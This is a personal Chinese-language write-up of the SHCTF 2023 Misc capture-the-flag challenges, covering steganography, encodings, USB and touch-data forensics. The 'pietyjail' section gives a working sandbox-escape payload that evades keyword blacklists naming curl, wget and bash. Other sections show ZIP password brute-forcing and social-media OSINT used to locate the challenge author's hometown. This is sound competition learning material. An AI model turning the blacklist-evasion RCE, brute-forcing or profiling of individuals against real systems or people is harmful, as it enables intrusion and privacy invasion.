Luoingly's Space

SHCTF 2023「山河」网络安全技能挑战赛 Misc 方向个人题解

October 30, 2023 · Legacy Blog

请对我使用社工吧

刚开始以为是通过图片信息找到地点的题目,但是能够得到的信息十分有限:一家小米专营店、应该是万达广场、还有一家几乎哪里都有的中国体育彩票小摊。

图片右下角可以得到一个 QQ 号:543300499,在 QQ 中查询到这是出题人 k1sme4,虽然没有信息表明他的老家在哪,但在 QQ 空间的相册中可以找到他的哔哩哔哩用户名:k1sme4

在哔哩哔哩平台上找到这个用户,一通信息收集后发现在他唯一的视频下方有一条他自己发的评论:黄河入海,k1sme4 回家。显然这是做题指引,表明他的老家在黄河入海口附近。

通过地图查询可以得知位于黄河入海口附近的大学是「中国石油大学」,并且在学校正门对面有一家万达广场,且其中也确实有一家小米之家,通过网友分享的图片可以确定正是照片的拍摄地。所以 Flag 为:flag{山东省_东营市_东营区_中国石油大学}

也许需要一些 py

注意到题给压缩包有注释,且显然是摩斯电码,解码后得到 this1sy0ukey ,尝试得知这就是压缩包的密码(此处需要注意摩斯电码不区分大小写,但是压缩包密码区分,所以需要多加尝试),得到一个 TXT 和一个无后缀的文件:

is it the true flag?
flag{pNg_and_Md5_SO_GreaT}

将无后缀的文件用十六进制编辑器打开查看,猜测应该是一个 PNG 文件,但是文件头被写 0x00 了,尝试自己补上后发现可以正常打开,得到一串 MD5 值:

63e62fbce22f2757f99eb7da179551d2

结合题面内容可以猜测,TXT 文件中给的 Flag 内容的大小写是混乱的,需要枚举尝试,通过 MD5 值来验证找到正确的 Flag。所以直接上代码:

import hashlib
import itertools

def md5(string: str) -> str:
    md5_hash = hashlib.md5()
    md5_hash.update(string.encode('utf-8'))
    md5_hex = md5_hash.hexdigest()
    return md5_hex

source = "pNg_and_Md5_SO_GreaT"

for comb in itertools.product(*(list(set([c.upper(), c.lower()])) for c in source)):
    flag = "".join(comb)
    if md5(flag) == "63e62fbce22f2757f99eb7da179551d2":
        print(flag)
        exit()

运行后得到 Flag:flag{Png_AnD_md5_so_GReAt}

ez-misc

题给压缩包中有一个未加密的 TXT 文件,内容如下:

1111111011111111011000111111110000010011000101010001000001101110100011000110010010111011011101011010000100010101110110111010000111111000001011101100000100011101111010010000011111111010101010101010111111100000000000000111111100000000001011101000111010100100010010011000000101101111100010001110110010101001111010001110011101001001001100100010001000100110001001100010101001110100011010000110100110000001101111000001100111111000100101011111000110010000011111111111000111010110001110100100110011010011000011010000110011100100111011001110011010100110100111101101000110001001110101010010100100110001111101111111100010000000011110011010110001000011111110010000000001101010111100000101110100010101000100101011101011000001110011111111110111010010101001010000110100101110101111111011010001100011000001000111101111001001101011111110010100011110111100111

观察得到头 7 位为 1 然后紧接着一位 0,是二维码的特征,在 Cyberchef 中绘图可以确认:

Screenshot-202310062255.webp

解码后得到压缩包密码 hit_k1sme4_4_fun,可以把 flag 文件解压出来。这个文件并没有后缀,但是没关系,使用 Binwalk 分析一下就能知道这是一个 ZIP 文件:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, encrypted at least v2.0 to extract, compressed size: 2514, uncompressed size: 4518, name: flag.txt
2680          0xA78           End of Zip archive, footer length: 78, comment: "01110010011011110110001101101011011110010110111101110101"

其中文件尾的注释转换为 ASCII 字符后是 rockyou ,经过查询可以得知这是一个著名的密码字典,也就是说这个 ZIP 文件的密码需要通过爆破得到。Rockyou 这个字典很容易就能在 GitHub 上下载到,编写代码进行爆破:

import pyzipper
from tqdm import tqdm

def extract_zip(zip_file: str, password: str) -> bool:
    try:
        with pyzipper.AESZipFile(zip_file, 'r', compression=pyzipper.ZIP_DEFLATED, encryption=pyzipper.WZ_AES) as zip_ref:
            zip_ref.extractall(pwd=password.encode())
        return True
    except Exception as e:
        return False

zip_file = "flag.zip"

with open("rockyou.txt", 'r', encoding='utf-8', errors='ignore') as f:
    passwords = f.readlines()

for password in tqdm(passwords, desc="Try to extract"):
    password = password.strip()
    if extract_zip(zip_file, password):
        break
else:
    print("Password not found.")
    exit()
print(f"Password: {password}")

运行程序后得到压缩包的密码 palomino ,解压后能得到一个 TXT 文件,内容杂乱无章如同乱码。仔细分析后发现,虽然它有 4000+ 字符,但是去重后只有 28 个字符:#$%123456789@HS^aefgklmsy{}( ,猜测以每个字符出现次数为序能组合出 Flag,所以直接编写代码:

with open('flag.txt', 'r', encoding='utf-8') as file:
    text = file.read()

count = {}
for char in text:
    count[char] = count.get(char, 0) + 1

sorted_count = sorted(count.items(), key=lambda x: x[1], reverse=True)

for char, count in sorted_count:
    print(char, end="")

运行后能得到 Flag:flag{SHyk1sme4}

签到题

直接丢进 Cyberchef 对其使用 Magic,可以发现这是经过二次 Base64 加密后的 Flag,并且得到 Flag:flag{this_is_flag}

Screenshot-202310031047.webp

Jaeger lover

题给的压缩包中有一张 Typhoon.png 和有密码保护的 secret.zip,据题描述这应该是一个考察图片隐写的题目,先看 Typhoon.png。在这张图片的文件尾有一串编码过的字符,尝试使用 Cyberchef 解码:

Screenshot-202310081259.webp

显然这句话是在问 Pacific Rim 中 Typhoon Jaeger 的 Op. System 是什么,在 Fandom 上的 Pacific Rim Wiki 中不难查到答案为 Tri-Sun Horizon Gate。接下来使用 Stegdetect 对 Typhoon.jpg 做出检测,结果是可能为 jphide,经过一些尝试后确定为 Steghide 的隐写,提取得到压缩包 secret.zip 的密码:.\*+#1Ao/aeS

解压 secret.zip 可以得到一个 secret.png,很显然可以注意到这张图好像缺失了下半部分,在上面提到的 Wiki 上可以发现这张图,其大小为 1000*1407,而 secret.png 只有 1000*1150,猜测是修改了图片高度。在 Hexedit 中打开这个文件,将其 PNG 头部分的高度标记从 00 00 04 7E 修改为 00 00 05 7F 然后保存查看,能够确定这张图确实还有下半部分,得到一个 Key:K34-759183-191。同时还可以发现在这个文件的 PNG 文件尾标记之后还有一些内容:

Screenshot-202310081319.webp

搜索后得知 9E 97 BA 2A 是 OurSecret 隐写的特征,使用上面的 Key 在 OurSecret 工具中能够提取到 Flag。

所以 Flag 为:flag{A1l_boys_aRe_Jaeger_L0ver!!}

Screenshot-202310081324.webp

Steganography

题给压缩包中有两张图片 careful.jpg 和 careful1.jpg,还有一个有密码保护的 flag.zip。在 careful.jpg 的文件尾可以发现一串 Base64 编码后的字符串,提取并解码后可以得到:12ercs.....909jk。在 careful1.jpg 的文件属性中可以找到字符串 xqwed,将其填入前者的中间部分就可以得到 flag.zip 的解压密码:12ercsxqwed909jk

解压后得到 Flag:flag{4d72e4f3-4d4f-4969-bc8c-a2f6f7a4292c}

可爱的派蒙捏

题面是一张图片,Binwalk 分析后确认是图种并且提取到两个内容相似的 TXT 文件,直接丢进 Cyberchef 进行 Diff,得到 Flag:flag{4ebf327905288fca947a}

Screenshot-202310031110.webp

message

直接丢进 Cyberchef 将其从十六进制转为字符,在整个信息的尾部可以得到 Flag:SHCTF{ba978405-b1c8-847c-8e69-f62177e4c087}

Screenshot-202310031101.webp

远在天边近在眼前

打开压缩包看了看,Flag 就藏在… 好家伙,多少个文件夹套娃啊这是。直接上代码:

import zipfile

with zipfile.ZipFile('find_me.zip', 'r') as zip_ref:
    print(zip_ref.infolist()[-1].filename[::-1].replace('/', ''))

运行后得到 Flag:flag{THlS_I5_rEALIy_EaSy_a1rlGhT?_80b74bec4529}

奇怪的 Screenshot

可以注意到这是一张 Windows 11 环境下的截图,想起来有些系统截图工具在处理图片裁切的过程中十分草率,搜索后发现这个漏洞叫做 Acropalypse。

在 GitHub 上找到了相关工具。修复后得到下面的图片:

Acropalypse.webp

图中文档的内容如下:

杨吕褚朱窦任云伍孙赵孙李伍孙冯李赵李伍袁尤张钱钱伍花张尤曹曹尤张朱伍魏赵赵吕伍尤金伍张赵魏伍花韩蒋陶华韩

这个是百家姓加密,使用在线工具解密得到 Flag:flag{CVE-2023-28303-Win11-Snipping-t00l-is-n0t-Secure}

可爱的洛琪希

题给压缩包有密码,但是其他信息一概没给,直接猜测为伪加密。使用 Bandizip 修复工具修复后解压得到 roxy.txt 文件,检查发现其为 Base64 编码过的 JPG 图片,使用 Cyberchef 将其解码为图片。

在图片的属性里面可以找到一串十六进制字符串,传为字符后为 slno{Rbky_qiifhkv!},同时在图片文件的文件尾发现字符 key:nanian。猜测这就是维吉尼亚,使用 Cyberchef 解密后得到 Flag:flag{Roxy_daisuki!}

喜贴街

喜帖街里就得有「喜帖」,那么「喜帖」在哪呢?听了音频文件不难发现有段地方由杂声,反正先看频谱,能发现字符 LeeTung ,这便是「喜帖」。

Screenshot-202310111700.webp

将其作为密码使用 Steghide 从这个音频文件中提取出了一个 TXT 文件,太长不放,总之是 Ook 编码,使用在线工具解码得到 Flag:flag{w@v2txt_s0_Int3r3st1ng!}

图片里的秘密

题给压缩包中有一张 JPG 文件,使用 Binwalk 分析后可以发现这是一个图种:

DECIMAL       HEXADECIMAL
DESCRIPTION
-------------------------------------
0             0x0
JPEG image data, JFIF standard 1.01
642808        0x9CEF8
RAR archive data, version 5.x

提取出文件后藏着的压缩包,解压后得到另一张 JPG 文件。由于这两张 JPG 中都找不出更多隐写信息,根据题面的描述可以猜测为盲水印,处理图片后得到证实:

傅里叶变换后的 zdjd.jpg

所以 Flag:flag{Blind_Water_Mark!}

表里的码

打开压缩包就意识到是 Office 文档,结合题目描述应该是 Excel 文件,后缀直接改成 .xlsx

打开后会发现空空如也,但是细看后发现有些单元格中是有空格的,直接将所有空格替换成某个字符后可以发现,有些单元格设置了加粗格式,而有些没有,并且结合左上角的情况,再看了看题目名称,这应该是一个二维码:

Screenshot-202310111710.webp

使用 Excel 的替换功能,设置格式后进行替换:

Screenshot-202310111721.webp

就可以得到二维码。扫描后得到 Flag:flag{j0k3r_1s_my_wif3}

ez_usb

将其中的 USB 数据扒出来,稍微处理一下:

Screenshot-202310250841.webp

直接代码处理:

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

def out(file):
    keys=open(file)
    output = []
    for line in keys:
        try:
            if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
                 continue
            if line[6:8] in normalKeys.keys():
                output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
            else:
                output += ['[unknown]']
        except:
            pass
    keys.close()

    print ('output :' + "".join(output))
    print()

out("1.txt")
out("2.txt")

对于输出自己处理下 <DEL><CAP> 在此题中无所谓),得到:

526172211a0700Cf907300000d000000000000002f507424943500200000002000000002a3021b4d577f06551d33080020080000666c61672e7478747CC34ada98dA7d0200f035680325f68663724792af0b91cE86c1b46ed4b180d5a8A7C626ADb5ceb2fF8CF24104c43d7b00400700

adabb04a5e9a6c33

上面那一段直接十六进制写为文件是一个 RAR 压缩包,下面那一段作为密码解压即可得到 Flag:flag{c6bd1c7bcfef89ffbf59d86ccaf97d3c}

pietyjail

阅读代码后得知这题需要:构造能够绕过两个 blacklist 的 RCE,然后将它们用 npiet 提交上去。RCE 构造脚本(其中还模拟了 blacklist 的检测):

import string

def c(char: str) -> str:
    return "chr(len(list(dict("+("a"*ord(char))+"=()))[len([])]))"

def s(stri: str) -> str:
    result = []
    for i in stri:
        result.append(c(i))
    return "str().join(["+(",".join(result))+"])"

payload = s(", ")+".join(list(__import__("+s("os")+").listdir("+s("/")+")))"
# payload = "open("+s("/fl11ll1laaaggg9g")+","+s('r')+").read()"
payload = payload.translate(str.maketrans("abcdefghijklmnopqrstuvwxyz", "𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻"))

with open("payload.txt", 'wt', encoding="utf-8") as f:
    f.write(payload)
output = list(payload)

blocked = list(filter(lambda x: x in string.digits + "+-*/\\\'\"-&^%$#@! ", output))
if blocked:
    print('Died at checker 1:', blocked)
    exit()

run_result = ''.join(output)
print('Debug:', run_result)

blocked = list(((lambda x, y: [i for i in x if i in y])(["eval", "open", 'dir', 'cat', 'read', 'os', 'get', 'flag', 'cat', 'sed', 'strings', 'cd', 'curl', 'wget', 'bash', 'dd', 'tar', 'rev', 'lzop', 'tail', 'gzip', 'zcat', 'vi', 'uniq', 'tac', 'head', 'more', 'less', 'base64', 'grep', 'break', 'breakpoint', 'input', 'help', 'exec', 'compile', 'chr', 'locals', 'globals'], run_result)))
print('Debug:', blocked)

if blocked:
    print('Died at checker 2:', blocked)
    exit()
else:
    print(str(eval(''.join(output))))

然后是 npiet 的生成,手搓肯定是不太现实。我选择改写现成的脚本

import os
from PIL import Image
import numpy as np
import scipy.misc as sm

class Color(object):
    def __init__(self, color_table=None):
        if color_table is None:
            self.color_table = [1, 0]
        else:
            self.color_table = color_table

    def RGB(self):
        if self.color_table[1] == 0: # Red
            if self.color_table[0] == 0: # Light
                return [255, 192, 192]
            elif self.color_table[0] == 1: # Normal
                return [255, 0, 0]
            elif self.color_table[0] == 2: # Dark
                return [192, 0, 0]
        elif self.color_table[1] == 1: # Yellow
            if self.color_table[0] == 0: # Light
                return [255, 255, 192]
            elif self.color_table[0] == 1: # Normal
                return [255, 255, 0]
            elif self.color_table[0] == 2: # Dark
                return [192, 192, 0]
        elif self.color_table[1] == 2: # Green
            if self.color_table[0] == 0: # Light
                return [192, 255, 192]
            elif self.color_table[0] == 1: # Normal
                return [0, 255, 0]
            elif self.color_table[0] == 2: # Dark
                return [0, 192, 0]
        elif self.color_table[1] == 3: # Cyan
            if self.color_table[0] == 0: # Light
                return [192, 255, 255]
            elif self.color_table[0] == 1: # Normal
                return [0, 255, 255]
            elif self.color_table[0] == 2: # Dark
                return [0, 192, 192]
        elif self.color_table[1] == 4: # Blue
            if self.color_table[0] == 0: # Light
                return [192, 192, 255]
            elif self.color_table[0] == 1: # Normal
                return [0, 0, 255]
            elif self.color_table[0] == 2: # Dark
                return [0, 0, 192]
        elif self.color_table[1] == 5: # Magenta
            if self.color_table[0] == 0: # Light
                return [255, 192, 255]
            elif self.color_table[0] == 1: # Normal
                return [255, 0, 255]
            elif self.color_table[0] == 2: # Dark
                return [192, 0, 192]

    def push_color(self):
        self.color_table[0] = (self.color_table[0] + 1) % 3
        return self.RGB()

    def write_color(self):
        self.color_table[0] = (self.color_table[0] + 2) % 3
        self.color_table[1] = (self.color_table[1] + 5) % 6
        return self.RGB()

current_color = Color()
piet_painting = []

def draw_block(size, num):
    block = np.zeros((24, 12, 3), dtype=np.uint8)

    if num != 0:
        old_push_color = current_color.push_color()
        current_color.write_color()
        block[:, :] = current_color.RGB()
        block[0, 0] = old_push_color
        size = size + 1
    else:
        block[:, :] = current_color.RGB()

    pix_lft = 288 - size
    div = pix_lft // 12
    rem = pix_lft % 12
    if div != 0:
        block[24-div:,] = 0
    block[23-div:, :rem] = 0

    pos_y = 12 * num
    pos_x = 0
    piet_painting[pos_x:pos_x+24, pos_y:pos_y+12] = block

def draw_end(num):
    block = np.zeros((12, 5, 3), dtype=np.uint8)

    old_push_color = current_color.push_color()
    block[:, :] = 255
    block[0, 0] = old_push_color
    block[0, 1] = current_color.write_color()

    block[0:2, 3] = 0
    block[1, 1] = 0
    block[2, 0] = 0
    block[2, 4] = 0
    block[3, 1:4] = 0
    block[2, 1:4] = current_color.write_color()

    pos_y = 12*num
    pos_x = 0
    piet_painting[pos_x:pos_x+12, pos_y:pos_y+5] = block

with open("payload.txt", 'rb') as f:
    message = f.read()
painting_len = len(message)*12 + 5
piet_painting = np.zeros((24, painting_len, 3), dtype=np.uint8)

i = 0
for char in message:
    draw_block(int(char), i)
    i += 1
draw_end(i)

img = Image.fromarray(np.uint8(piet_painting))
img.save('run.ppm')

上传后 POST /run 就可以执行 payload,直接拿到根目录结构,可以得知 Flag 应该在 fl11ll1laaaggg9g 文件中,更新 Payload 后进一步读到 Flag:flag{l_4Dmlt_tHA7_tH3_sUbjeCt_i5_A_BIT_LaM3_07fbaf0888c9}

strange data

直接上代码处理:

import re
import matplotlib.pyplot as plt

# 从 getevent 输出文件中读取原始数据
with open("data", "r") as f:
    data = f.readlines()

# 创建两空列表用于存储 x 和 y 坐标
x_coordinates = []
y_coordinates = []
is_touching = False

plt.figure()
for line in data:
    # 使用正则表达式从每行中提取事件数据
    match = re.match(r"([0-9a-f]+) ([0-9a-f]+) ([0-9a-f]+)", line)
    if match:
        event_type, event_code, value = map(
            lambda x: int(x, 16), match.groups())

        if event_type == 3:  # 事件类型 3 代表触摸事件
            if event_code == 0:  # 事件代码 0 代表 x 坐标
                x = value
            elif event_code == 1:  # 事件代码 1 代表 y 坐标
                y = value
                if x+y > 0 and is_touching:
                    x_coordinates.append(x)
                    y_coordinates.append(y)
                elif len(x_coordinates) > 0:
                    plt.plot(y_coordinates, x_coordinates,
                             marker='o', linestyle='-', markersize=2)
                    x_coordinates = []
                    y_coordinates = []
        elif event_type == 1:
            if event_code == 330:  # 事件代码 330 代表按压和抬起事件
                if value == 0:  # 按压事件
                    is_touching = False
                elif value == 1:  # 抬起事件
                    is_touching = True
        elif event_type == 0:
            pass
        else:
            print(event_type, event_code, value)
plt.show()

运行后得到结果:

Screenshot-202310251412.webp

所以 Flag:flag{miiii1_sm4rt_p3n_1s_So_Fun!}

Tags: #CTF #Writeup #Misc #SHCTF

This article is authored by luoingly and licensed under CC BY-NC 4.0

Permalink: https://luoy.ing/posts/shctf-2023-misc-writeup/